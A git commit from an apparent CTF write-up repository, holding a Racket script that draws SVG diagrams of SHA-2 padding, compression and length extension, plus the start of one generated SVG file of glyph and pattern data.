This commit is contained in:
xenia 2023-06-04 23:24:16 -04:00
commit 20c93b6e9d
9 changed files with 1570 additions and 0 deletions

134
2023/dcq/res/diagram.rkt Normal file
View File

@ -0,0 +1,134 @@
#lang racket/base
(require (for-syntax racket/base)
racket/class
racket/draw
racket/match
pict
syntax/parse/define)
(define (s-frame color hatched? t)
(define p (inset (text t) 10))
(define-values [w h] (values (pict-width p) (pict-height p)))
(define fr
(dc (λ (dc dx dy)
(define old-brush (send dc get-brush))
(define old-pen (send dc get-pen))
(define color-bg (make-object color%
(send color red)
(send color green)
(send color blue)
0.5))
(send dc set-brush
(new brush% [style (if hatched? 'fdiagonal-hatch 'transparent)]
[color color-bg]))
(send dc set-pen
(new pen% [width 1] [color color]))
(define path (new dc-path%))
(send path move-to 0 0)
(send path line-to (- w 0.5) 0)
(send path line-to (- w 0.5) (- h 0.5))
(send path line-to 0 (- h 0.5))
(send path close)
(send dc draw-path path dx dy)
(send dc set-brush old-brush)
(send dc set-pen old-pen))
w h))
(cc-superimpose fr p))
(define (s-arrow label-text . blocks)
(match blocks
['() (blank 0 0)]
[(list pict-a) pict-a]
[(cons pict-a pict-bs)
(define pict-b (apply s-arrow label-text pict-bs))
(pin-arrow-line
10 (hc-append 100 pict-a pict-b)
pict-a rc-find
pict-b lc-find
#:line-width 1
#:style 'solid
#:color "black"
#:label (label-text))]))
(define (add-bottom-label p label-text [l-offset 0])
(define-values [w h] (values (- (pict-width p) l-offset) (pict-height p)))
(define bracket (hb-append (vline 0 5) (hline w 0) (vline 0 5)))
(define label (text label-text))
(vr-append p
(vc-append (inset bracket 0 10 0 0)
(cc-superimpose (blank w (pict-height label)) label))))
(define (backgroundify-diagram p-raw)
(define p (inset p-raw 20))
(cc-superimpose (filled-rectangle (pict-width p) (pict-height p)
#:draw-border? #f #:color "white")
p))
(define (save-to-svg p name)
(define svg (new svg-dc%
[width (pict-width p)]
[height (pict-height p)]
[output (format "~a.svg" name)]
[exists 'replace]))
(send svg start-doc "rendering SVG")
(send svg start-page)
(draw-pict p svg 0 0)
(send svg end-page)
(send svg end-doc))
(define-simple-macro (define-diagram name:id value:expr)
#:with name-string (datum->syntax #'name (symbol->string (syntax->datum #'name)))
(save-to-svg (backgroundify-diagram value) name-string))
(define c-reg (make-object color% 150 150 150))
(define c-pad (make-object color% 200 80 80))
(define c-len (make-object color% 200 80 80))
(define c-blue (make-object color% 150 150 200))
(define c-green (make-object color% 30 200 30))
(define-diagram sha-diagram
(add-bottom-label
(ht-append (s-frame c-reg #f "data")
(s-frame c-pad #t "padding")
(s-frame c-len #t "data len"))
"hashed data"))
(define-diagram sha-diagram-extended
(add-bottom-label
(ht-append
(add-bottom-label
(ht-append
(add-bottom-label
(ht-append (s-frame c-reg #f "data")
(s-frame c-pad #f "padding")
(s-frame c-len #f "data len"))
"originally hashed")
(s-frame c-reg #f "extend data"))
"append this"
(pict-width (s-frame c-reg #f "data")))
(s-frame c-pad #t "padding")
(s-frame c-len #t "total data len"))
"extended hash"))
(define-diagram sha-compression-diagram
(vc-append
(blank 1 60)
(s-arrow (λ ()
(define pict-a (s-frame c-reg #f "input block"))
(define pict-b (text "SHA-2 round"))
(pin-arrow-line
5 (vc-append 30 pict-a pict-b)
pict-a cb-find
pict-b ct-find
#:line-width 1
#:style 'solid
#:color "black"))
(s-frame c-blue #t "SHA-2 state constants")
(s-frame c-reg #t "state 1")
(s-frame c-reg #t "state 2")
(s-frame c-green #f "output hash"))))

View File

@ -0,0 +1,275 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="685" height="136.34375" viewBox="0 0 685 136.34375">
<defs>
<g>
<g id="glyph-0-0">
<path d="M 1.125 0 L 1.125 -8.5625 L 6.0625 -8.5625 L 6.0625 0 Z M 1.734375 -0.609375 L 5.453125 -0.609375 L 5.453125 -7.953125 L 1.734375 -7.953125 Z M 1.734375 -0.609375 "/>
</g>
<g id="glyph-0-1">
<path d="M 6.03125 -2.296875 C 6.03125 -1.535156 5.753906 -0.941406 5.203125 -0.515625 C 4.648438 -0.0859375 3.90625 0.125 2.96875 0.125 C 2.488281 0.125 2.039062 0.0859375 1.625 0.015625 C 1.21875 -0.0546875 0.878906 -0.15625 0.609375 -0.28125 L 0.609375 -1.3125 C 0.898438 -1.1875 1.257812 -1.070312 1.6875 -0.96875 C 2.113281 -0.863281 2.554688 -0.8125 3.015625 -0.8125 C 3.648438 -0.8125 4.128906 -0.9375 4.453125 -1.1875 C 4.773438 -1.4375 4.9375 -1.773438 4.9375 -2.203125 C 4.9375 -2.472656 4.875 -2.703125 4.75 -2.890625 C 4.632812 -3.085938 4.429688 -3.269531 4.140625 -3.4375 C 3.847656 -3.601562 3.441406 -3.773438 2.921875 -3.953125 C 2.203125 -4.222656 1.65625 -4.550781 1.28125 -4.9375 C 0.90625 -5.320312 0.71875 -5.84375 0.71875 -6.5 C 0.71875 -6.957031 0.832031 -7.347656 1.0625 -7.671875 C 1.300781 -7.992188 1.625 -8.242188 2.03125 -8.421875 C 2.445312 -8.597656 2.921875 -8.6875 3.453125 -8.6875 C 3.921875 -8.6875 4.351562 -8.640625 4.75 -8.546875 C 5.144531 -8.460938 5.5 -8.347656 5.8125 -8.203125 L 5.484375 -7.28125 C 5.191406 -7.40625 4.867188 -7.507812 4.515625 -7.59375 C 4.171875 -7.6875 3.8125 -7.734375 3.4375 -7.734375 C 2.894531 -7.734375 2.488281 -7.617188 2.21875 -7.390625 C 1.945312 -7.171875 1.8125 -6.867188 1.8125 -6.484375 C 1.8125 -6.203125 1.867188 -5.960938 1.984375 -5.765625 C 2.109375 -5.578125 2.304688 -5.40625 2.578125 -5.25 C 2.847656 -5.101562 3.21875 -4.941406 3.6875 -4.765625 C 4.1875 -4.578125 4.609375 -4.378906 4.953125 -4.171875 C 5.304688 -3.960938 5.570312 -3.707031 5.75 -3.40625 C 5.9375 -3.113281 6.03125 -2.742188 6.03125 -2.296875 Z M 6.03125 -2.296875 "/>
</g>
<g id="glyph-0-2">
<path d="M 7.71875 0 L 6.640625 0 L 6.640625 -4 L 2.25 -4 L 2.25 0 L 1.15625 0 L 1.15625 -8.5625 L 2.25 -8.5625 L 2.25 -4.9375 L 6.640625 -4.9375 L 6.640625 -8.5625 L 7.71875 -8.5625 Z M 7.71875 0 "/>
</g>
<g id="glyph-0-3">
<path d="M 6.546875 0 L 5.515625 -2.65625 L 2.109375 -2.65625 L 1.09375 0 L 0 0 L 3.34375 -8.609375 L 4.3125 -8.609375 L 7.65625 0 Z M 4.21875 -6.203125 C 4.195312 -6.265625 4.15625 -6.378906 4.09375 -6.546875 C 4.039062 -6.710938 3.988281 -6.882812 3.9375 -7.0625 C 3.882812 -7.25 3.84375 -7.390625 3.8125 -7.484375 C 3.757812 -7.234375 3.695312 -6.988281 3.625 -6.75 C 3.550781 -6.519531 3.488281 -6.335938 3.4375 -6.203125 L 2.46875 -3.609375 L 5.1875 -3.609375 Z M 4.21875 -6.203125 "/>
</g>
<g id="glyph-0-4">
<path d="M 0.484375 -2.75 L 0.484375 -3.6875 L 3.390625 -3.6875 L 3.390625 -2.75 Z M 0.484375 -2.75 "/>
</g>
<g id="glyph-0-5">
<path d="M 6.234375 0 L 0.578125 0 L 0.578125 -0.875 L 2.8125 -3.140625 C 3.25 -3.578125 3.613281 -3.960938 3.90625 -4.296875 C 4.207031 -4.628906 4.429688 -4.957031 4.578125 -5.28125 C 4.734375 -5.601562 4.8125 -5.957031 4.8125 -6.34375 C 4.8125 -6.820312 4.671875 -7.179688 4.390625 -7.421875 C 4.109375 -7.660156 3.742188 -7.78125 3.296875 -7.78125 C 2.878906 -7.78125 2.515625 -7.707031 2.203125 -7.5625 C 1.890625 -7.425781 1.566406 -7.226562 1.234375 -6.96875 L 0.671875 -7.6875 C 1.003906 -7.957031 1.390625 -8.191406 1.828125 -8.390625 C 2.265625 -8.585938 2.753906 -8.6875 3.296875 -8.6875 C 4.097656 -8.6875 4.726562 -8.484375 5.1875 -8.078125 C 5.65625 -7.671875 5.890625 -7.113281 5.890625 -6.40625 C 5.890625 -5.957031 5.796875 -5.535156 5.609375 -5.140625 C 5.429688 -4.753906 5.175781 -4.367188 4.84375 -3.984375 C 4.519531 -3.609375 4.140625 -3.203125 3.703125 -2.765625 L 1.90625 -1.015625 L 1.90625 -0.953125 L 6.234375 -0.953125 Z M 6.234375 0 "/>
</g>
<g id="glyph-0-6">
</g>
<g id="glyph-0-7">
<path d="M 5.203125 -1.78125 C 5.203125 -1.15625 4.96875 -0.679688 4.5 -0.359375 C 4.039062 -0.0351562 3.421875 0.125 2.640625 0.125 C 2.191406 0.125 1.804688 0.0859375 1.484375 0.015625 C 1.160156 -0.0546875 0.875 -0.15625 0.625 -0.28125 L 0.625 -1.25 C 0.882812 -1.125 1.191406 -1.003906 1.546875 -0.890625 C 1.910156 -0.785156 2.28125 -0.734375 2.65625 -0.734375 C 3.195312 -0.734375 3.585938 -0.816406 3.828125 -0.984375 C 4.066406 -1.160156 4.1875 -1.394531 4.1875 -1.6875 C 4.1875 -1.84375 4.140625 -1.984375 4.046875 -2.109375 C 3.960938 -2.234375 3.804688 -2.359375 3.578125 -2.484375 C 3.347656 -2.617188 3.023438 -2.765625 2.609375 -2.921875 C 2.191406 -3.085938 1.832031 -3.25 1.53125 -3.40625 C 1.238281 -3.5625 1.007812 -3.75 0.84375 -3.96875 C 0.6875 -4.195312 0.609375 -4.488281 0.609375 -4.84375 C 0.609375 -5.382812 0.828125 -5.800781 1.265625 -6.09375 C 1.710938 -6.394531 2.300781 -6.546875 3.03125 -6.546875 C 3.414062 -6.546875 3.773438 -6.507812 4.109375 -6.4375 C 4.453125 -6.363281 4.773438 -6.257812 5.078125 -6.125 L 4.71875 -5.28125 C 4.445312 -5.394531 4.160156 -5.488281 3.859375 -5.5625 C 3.566406 -5.644531 3.265625 -5.6875 2.953125 -5.6875 C 2.515625 -5.6875 2.179688 -5.613281 1.953125 -5.46875 C 1.734375 -5.332031 1.625 -5.144531 1.625 -4.90625 C 1.625 -4.726562 1.675781 -4.578125 1.78125 -4.453125 C 1.882812 -4.328125 2.054688 -4.207031 2.296875 -4.09375 C 2.535156 -3.976562 2.863281 -3.84375 3.28125 -3.6875 C 3.6875 -3.53125 4.03125 -3.367188 4.3125 -3.203125 C 4.601562 -3.046875 4.820312 -2.851562 4.96875 -2.625 C 5.125 -2.40625 5.203125 -2.125 5.203125 -1.78125 Z M 5.203125 -1.78125 "/>
</g>
<g id="glyph-0-8">
<path d="M 3.171875 -0.75 C 3.328125 -0.75 3.488281 -0.757812 3.65625 -0.78125 C 3.820312 -0.8125 3.957031 -0.84375 4.0625 -0.875 L 4.0625 -0.078125 C 3.957031 -0.015625 3.800781 0.03125 3.59375 0.0625 C 3.382812 0.101562 3.179688 0.125 2.984375 0.125 C 2.648438 0.125 2.335938 0.0664062 2.046875 -0.046875 C 1.765625 -0.171875 1.535156 -0.375 1.359375 -0.65625 C 1.191406 -0.945312 1.109375 -1.351562 1.109375 -1.875 L 1.109375 -5.609375 L 0.1875 -5.609375 L 0.1875 -6.125 L 1.109375 -6.546875 L 1.53125 -7.90625 L 2.15625 -7.90625 L 2.15625 -6.4375 L 4.015625 -6.4375 L 4.015625 -5.609375 L 2.15625 -5.609375 L 2.15625 -1.890625 C 2.15625 -1.503906 2.25 -1.21875 2.4375 -1.03125 C 2.625 -0.84375 2.867188 -0.75 3.171875 -0.75 Z M 3.171875 -0.75 "/>
</g>
<g id="glyph-0-9">
<path d="M 3.453125 -6.546875 C 4.234375 -6.546875 4.8125 -6.375 5.1875 -6.03125 C 5.570312 -5.6875 5.765625 -5.132812 5.765625 -4.375 L 5.765625 0 L 4.984375 0 L 4.78125 -0.90625 L 4.734375 -0.90625 C 4.453125 -0.5625 4.15625 -0.300781 3.84375 -0.125 C 3.539062 0.0390625 3.117188 0.125 2.578125 0.125 C 1.992188 0.125 1.507812 -0.0234375 1.125 -0.328125 C 0.738281 -0.640625 0.546875 -1.125 0.546875 -1.78125 C 0.546875 -2.425781 0.796875 -2.921875 1.296875 -3.265625 C 1.804688 -3.617188 2.585938 -3.8125 3.640625 -3.84375 L 4.734375 -3.875 L 4.734375 -4.265625 C 4.734375 -4.796875 4.613281 -5.164062 4.375 -5.375 C 4.144531 -5.582031 3.816406 -5.6875 3.390625 -5.6875 C 3.054688 -5.6875 2.738281 -5.632812 2.4375 -5.53125 C 2.132812 -5.4375 1.847656 -5.328125 1.578125 -5.203125 L 1.265625 -5.984375 C 1.546875 -6.140625 1.875 -6.269531 2.25 -6.375 C 2.632812 -6.488281 3.035156 -6.546875 3.453125 -6.546875 Z M 3.765625 -3.109375 C 2.960938 -3.078125 2.40625 -2.945312 2.09375 -2.71875 C 1.789062 -2.5 1.640625 -2.1875 1.640625 -1.78125 C 1.640625 -1.414062 1.75 -1.148438 1.96875 -0.984375 C 2.1875 -0.816406 2.46875 -0.734375 2.8125 -0.734375 C 3.363281 -0.734375 3.816406 -0.878906 4.171875 -1.171875 C 4.535156 -1.472656 4.71875 -1.9375 4.71875 -2.5625 L 4.71875 -3.140625 Z M 3.765625 -3.109375 "/>
</g>
<g id="glyph-0-10">
<path d="M 3.5 -6.546875 C 4.050781 -6.546875 4.523438 -6.425781 4.921875 -6.1875 C 5.316406 -5.945312 5.617188 -5.609375 5.828125 -5.171875 C 6.046875 -4.742188 6.15625 -4.234375 6.15625 -3.640625 L 6.15625 -3.015625 L 1.75 -3.015625 C 1.769531 -2.285156 1.957031 -1.726562 2.3125 -1.34375 C 2.664062 -0.96875 3.160156 -0.78125 3.796875 -0.78125 C 4.210938 -0.78125 4.578125 -0.816406 4.890625 -0.890625 C 5.203125 -0.972656 5.53125 -1.082031 5.875 -1.21875 L 5.875 -0.296875 C 5.539062 -0.148438 5.210938 -0.046875 4.890625 0.015625 C 4.578125 0.0859375 4.195312 0.125 3.75 0.125 C 3.144531 0.125 2.609375 0 2.140625 -0.25 C 1.671875 -0.5 1.304688 -0.867188 1.046875 -1.359375 C 0.785156 -1.847656 0.65625 -2.453125 0.65625 -3.171875 C 0.65625 -3.867188 0.773438 -4.46875 1.015625 -4.96875 C 1.253906 -5.476562 1.585938 -5.867188 2.015625 -6.140625 C 2.441406 -6.410156 2.9375 -6.546875 3.5 -6.546875 Z M 3.484375 -5.6875 C 2.984375 -5.6875 2.585938 -5.523438 2.296875 -5.203125 C 2.003906 -4.878906 1.832031 -4.429688 1.78125 -3.859375 L 5.046875 -3.859375 C 5.046875 -4.398438 4.921875 -4.835938 4.671875 -5.171875 C 4.421875 -5.515625 4.023438 -5.6875 3.484375 -5.6875 Z M 3.484375 -5.6875 "/>
</g>
<g id="glyph-0-11">
<path d="M 3.59375 0.125 C 3.03125 0.125 2.523438 0.0078125 2.078125 -0.21875 C 1.640625 -0.457031 1.289062 -0.820312 1.03125 -1.3125 C 0.78125 -1.800781 0.65625 -2.425781 0.65625 -3.1875 C 0.65625 -3.976562 0.785156 -4.617188 1.046875 -5.109375 C 1.316406 -5.609375 1.675781 -5.972656 2.125 -6.203125 C 2.582031 -6.429688 3.097656 -6.546875 3.671875 -6.546875 C 3.992188 -6.546875 4.304688 -6.507812 4.609375 -6.4375 C 4.921875 -6.375 5.171875 -6.296875 5.359375 -6.203125 L 5.046875 -5.328125 C 4.847656 -5.398438 4.617188 -5.46875 4.359375 -5.53125 C 4.109375 -5.59375 3.867188 -5.625 3.640625 -5.625 C 2.378906 -5.625 1.75 -4.8125 1.75 -3.1875 C 1.75 -2.414062 1.898438 -1.820312 2.203125 -1.40625 C 2.515625 -1 2.976562 -0.796875 3.59375 -0.796875 C 3.9375 -0.796875 4.242188 -0.832031 4.515625 -0.90625 C 4.785156 -0.976562 5.03125 -1.0625 5.25 -1.15625 L 5.25 -0.234375 C 5.039062 -0.117188 4.804688 -0.03125 4.546875 0.03125 C 4.285156 0.09375 3.96875 0.125 3.59375 0.125 Z M 3.59375 0.125 "/>
</g>
<g id="glyph-0-12">
<path d="M 6.609375 -3.234375 C 6.609375 -2.160156 6.335938 -1.332031 5.796875 -0.75 C 5.253906 -0.164062 4.523438 0.125 3.609375 0.125 C 3.046875 0.125 2.539062 -0.00390625 2.09375 -0.265625 C 1.644531 -0.523438 1.289062 -0.90625 1.03125 -1.40625 C 0.78125 -1.90625 0.65625 -2.515625 0.65625 -3.234375 C 0.65625 -4.296875 0.921875 -5.113281 1.453125 -5.6875 C 1.992188 -6.257812 2.722656 -6.546875 3.640625 -6.546875 C 4.234375 -6.546875 4.75 -6.414062 5.1875 -6.15625 C 5.632812 -5.894531 5.984375 -5.519531 6.234375 -5.03125 C 6.484375 -4.539062 6.609375 -3.941406 6.609375 -3.234375 Z M 1.75 -3.234375 C 1.75 -2.472656 1.898438 -1.867188 2.203125 -1.421875 C 2.503906 -0.972656 2.984375 -0.75 3.640625 -0.75 C 4.285156 -0.75 4.757812 -0.972656 5.0625 -1.421875 C 5.363281 -1.867188 5.515625 -2.472656 5.515625 -3.234375 C 5.515625 -3.992188 5.363281 -4.585938 5.0625 -5.015625 C 4.757812 -5.441406 4.28125 -5.65625 3.625 -5.65625 C 2.96875 -5.65625 2.488281 -5.441406 2.1875 -5.015625 C 1.894531 -4.585938 1.75 -3.992188 1.75 -3.234375 Z M 1.75 -3.234375 "/>
</g>
<g id="glyph-0-13">
<path d="M 4.109375 -6.546875 C 4.878906 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.617188 6.4375 -5.019531 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.242188 -5.65625 2.753906 -5.457031 2.484375 -5.0625 C 2.210938 -4.664062 2.078125 -4.09375 2.078125 -3.34375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 L 1.875 -6.4375 L 2.03125 -5.5625 L 2.09375 -5.5625 C 2.300781 -5.894531 2.585938 -6.140625 2.953125 -6.296875 C 3.316406 -6.460938 3.703125 -6.546875 4.109375 -6.546875 Z M 4.109375 -6.546875 "/>
</g>
<g id="glyph-0-14">
<path d="M 4.265625 0 L 3.234375 0 L 3.234375 -5.984375 C 3.234375 -6.328125 3.234375 -6.601562 3.234375 -6.8125 C 3.242188 -7.019531 3.257812 -7.238281 3.28125 -7.46875 C 3.144531 -7.332031 3.023438 -7.222656 2.921875 -7.140625 C 2.816406 -7.054688 2.6875 -6.941406 2.53125 -6.796875 L 1.625 -6.0625 L 1.0625 -6.765625 L 3.390625 -8.5625 L 4.265625 -8.5625 Z M 4.265625 0 "/>
</g>
<g id="glyph-0-15">
<path d="M 6.390625 -6.4375 L 6.390625 0 L 5.53125 0 L 5.375 -0.859375 L 5.328125 -0.859375 C 5.117188 -0.515625 4.828125 -0.265625 4.453125 -0.109375 C 4.085938 0.046875 3.695312 0.125 3.28125 0.125 C 2.507812 0.125 1.925781 -0.0625 1.53125 -0.4375 C 1.144531 -0.8125 0.953125 -1.40625 0.953125 -2.21875 L 0.953125 -6.4375 L 2.015625 -6.4375 L 2.015625 -2.296875 C 2.015625 -1.265625 2.488281 -0.75 3.4375 -0.75 C 4.15625 -0.75 4.648438 -0.945312 4.921875 -1.34375 C 5.203125 -1.75 5.34375 -2.328125 5.34375 -3.078125 L 5.34375 -6.4375 Z M 6.390625 -6.4375 "/>
</g>
<g id="glyph-0-16">
<path d="M 4.078125 -6.546875 C 4.867188 -6.546875 5.503906 -6.269531 5.984375 -5.71875 C 6.472656 -5.164062 6.71875 -4.335938 6.71875 -3.234375 C 6.71875 -2.128906 6.472656 -1.289062 5.984375 -0.71875 C 5.503906 -0.15625 4.863281 0.125 4.0625 0.125 C 3.570312 0.125 3.164062 0.03125 2.84375 -0.15625 C 2.519531 -0.34375 2.265625 -0.5625 2.078125 -0.8125 L 2 -0.8125 C 2.019531 -0.675781 2.035156 -0.503906 2.046875 -0.296875 C 2.066406 -0.0859375 2.078125 0.0859375 2.078125 0.234375 L 2.078125 2.875 L 1.015625 2.875 L 1.015625 -6.4375 L 1.890625 -6.4375 L 2.03125 -5.5625 L 2.078125 -5.5625 C 2.265625 -5.832031 2.515625 -6.0625 2.828125 -6.25 C 3.140625 -6.445312 3.554688 -6.546875 4.078125 -6.546875 Z M 3.890625 -5.65625 C 3.234375 -5.65625 2.769531 -5.472656 2.5 -5.109375 C 2.226562 -4.742188 2.085938 -4.1875 2.078125 -3.4375 L 2.078125 -3.234375 C 2.078125 -2.441406 2.207031 -1.828125 2.46875 -1.390625 C 2.726562 -0.960938 3.207031 -0.75 3.90625 -0.75 C 4.300781 -0.75 4.625 -0.859375 4.875 -1.078125 C 5.125 -1.296875 5.3125 -1.585938 5.4375 -1.953125 C 5.5625 -2.328125 5.625 -2.753906 5.625 -3.234375 C 5.625 -3.972656 5.484375 -4.5625 5.203125 -5 C 4.921875 -5.4375 4.484375 -5.65625 3.890625 -5.65625 Z M 3.890625 -5.65625 "/>
</g>
<g id="glyph-0-17">
<path d="M 2.078125 -6.4375 C 2.078125 -6.125 2.054688 -5.828125 2.015625 -5.546875 L 2.09375 -5.546875 C 2.300781 -5.867188 2.582031 -6.113281 2.9375 -6.28125 C 3.289062 -6.457031 3.675781 -6.546875 4.09375 -6.546875 C 4.875 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.609375 6.4375 -5.007812 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.234375 -5.65625 2.738281 -5.453125 2.46875 -5.046875 C 2.207031 -4.648438 2.078125 -4.078125 2.078125 -3.328125 L 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-18">
<path d="M 1.5625 -8.84375 C 1.71875 -8.84375 1.859375 -8.785156 1.984375 -8.671875 C 2.109375 -8.566406 2.171875 -8.398438 2.171875 -8.171875 C 2.171875 -7.953125 2.109375 -7.785156 1.984375 -7.671875 C 1.859375 -7.554688 1.71875 -7.5 1.5625 -7.5 C 1.382812 -7.5 1.234375 -7.554688 1.109375 -7.671875 C 0.992188 -7.785156 0.9375 -7.953125 0.9375 -8.171875 C 0.9375 -8.398438 0.992188 -8.566406 1.109375 -8.671875 C 1.234375 -8.785156 1.382812 -8.84375 1.5625 -8.84375 Z M 2.078125 -6.4375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-19">
<path d="M 2.078125 -6.90625 C 2.078125 -6.625 2.070312 -6.363281 2.0625 -6.125 C 2.050781 -5.894531 2.035156 -5.710938 2.015625 -5.578125 L 2.078125 -5.578125 C 2.265625 -5.847656 2.515625 -6.078125 2.828125 -6.265625 C 3.148438 -6.453125 3.5625 -6.546875 4.0625 -6.546875 C 4.863281 -6.546875 5.503906 -6.265625 5.984375 -5.703125 C 6.472656 -5.148438 6.71875 -4.320312 6.71875 -3.21875 C 6.71875 -2.113281 6.472656 -1.28125 5.984375 -0.71875 C 5.492188 -0.15625 4.851562 0.125 4.0625 0.125 C 3.5625 0.125 3.148438 0.03125 2.828125 -0.15625 C 2.515625 -0.34375 2.265625 -0.5625 2.078125 -0.8125 L 1.984375 -0.8125 L 1.78125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 3.890625 -5.65625 C 3.210938 -5.65625 2.738281 -5.457031 2.46875 -5.0625 C 2.207031 -4.675781 2.078125 -4.070312 2.078125 -3.25 L 2.078125 -3.203125 C 2.078125 -2.410156 2.207031 -1.800781 2.46875 -1.375 C 2.726562 -0.957031 3.207031 -0.75 3.90625 -0.75 C 4.488281 -0.75 4.921875 -0.960938 5.203125 -1.390625 C 5.484375 -1.816406 5.625 -2.429688 5.625 -3.234375 C 5.625 -4.847656 5.046875 -5.65625 3.890625 -5.65625 Z M 3.890625 -5.65625 "/>
</g>
<g id="glyph-0-20">
<path d="M 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 0 "/>
</g>
<g id="glyph-0-21">
<path d="M 2.0625 -4.359375 C 2.0625 -4.222656 2.054688 -4.050781 2.046875 -3.84375 C 2.035156 -3.644531 2.023438 -3.46875 2.015625 -3.3125 L 2.0625 -3.3125 C 2.113281 -3.375 2.1875 -3.460938 2.28125 -3.578125 C 2.375 -3.703125 2.46875 -3.828125 2.5625 -3.953125 C 2.664062 -4.078125 2.753906 -4.179688 2.828125 -4.265625 L 4.890625 -6.4375 L 6.125 -6.4375 L 3.515625 -3.6875 L 6.296875 0 L 5.03125 0 L 2.796875 -3 L 2.0625 -2.359375 L 2.0625 0 L 1.015625 0 L 1.015625 -9.125 L 2.0625 -9.125 Z M 2.0625 -4.359375 "/>
</g>
<g id="glyph-0-22">
<path d="M 4.015625 -6.546875 C 4.140625 -6.546875 4.269531 -6.539062 4.40625 -6.53125 C 4.550781 -6.519531 4.675781 -6.503906 4.78125 -6.484375 L 4.640625 -5.515625 C 4.535156 -5.535156 4.421875 -5.550781 4.296875 -5.5625 C 4.171875 -5.582031 4.054688 -5.59375 3.953125 -5.59375 C 3.617188 -5.59375 3.304688 -5.5 3.015625 -5.3125 C 2.734375 -5.132812 2.503906 -4.882812 2.328125 -4.5625 C 2.160156 -4.238281 2.078125 -3.863281 2.078125 -3.4375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 L 1.890625 -6.4375 L 2 -5.25 L 2.046875 -5.25 C 2.253906 -5.601562 2.519531 -5.90625 2.84375 -6.15625 C 3.175781 -6.414062 3.566406 -6.546875 4.015625 -6.546875 Z M 4.015625 -6.546875 "/>
</g>
<g id="glyph-0-23">
<path d="M 3.296875 0.125 C 2.492188 0.125 1.851562 -0.148438 1.375 -0.703125 C 0.894531 -1.265625 0.65625 -2.097656 0.65625 -3.203125 C 0.65625 -4.304688 0.894531 -5.140625 1.375 -5.703125 C 1.863281 -6.265625 2.507812 -6.546875 3.3125 -6.546875 C 3.8125 -6.546875 4.21875 -6.453125 4.53125 -6.265625 C 4.84375 -6.085938 5.097656 -5.867188 5.296875 -5.609375 L 5.375 -5.609375 C 5.363281 -5.710938 5.347656 -5.863281 5.328125 -6.0625 C 5.304688 -6.269531 5.296875 -6.429688 5.296875 -6.546875 L 5.296875 -9.125 L 6.359375 -9.125 L 6.359375 0 L 5.515625 0 L 5.359375 -0.859375 L 5.296875 -0.859375 C 5.109375 -0.585938 4.851562 -0.351562 4.53125 -0.15625 C 4.21875 0.03125 3.804688 0.125 3.296875 0.125 Z M 3.46875 -0.75 C 4.144531 -0.75 4.617188 -0.9375 4.890625 -1.3125 C 5.171875 -1.6875 5.3125 -2.25 5.3125 -3 L 5.3125 -3.1875 C 5.3125 -3.988281 5.179688 -4.601562 4.921875 -5.03125 C 4.660156 -5.457031 4.171875 -5.671875 3.453125 -5.671875 C 2.890625 -5.671875 2.460938 -5.441406 2.171875 -4.984375 C 1.890625 -4.535156 1.75 -3.9375 1.75 -3.1875 C 1.75 -2.414062 1.890625 -1.816406 2.171875 -1.390625 C 2.460938 -0.960938 2.894531 -0.75 3.46875 -0.75 Z M 3.46875 -0.75 "/>
</g>
</g>
<clipPath id="clip-0">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-1">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-72" clip-path="url(#clip-1)">
<g clip-path="url(#clip-0)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(58.823529%, 58.823529%, 78.431373%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-0" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-72"/>
</pattern>
<clipPath id="clip-2">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-3">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-75" clip-path="url(#clip-3)">
<g clip-path="url(#clip-2)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-1" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-75"/>
</pattern>
<clipPath id="clip-4">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-5">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-78" clip-path="url(#clip-5)">
<g clip-path="url(#clip-4)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-2" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-78"/>
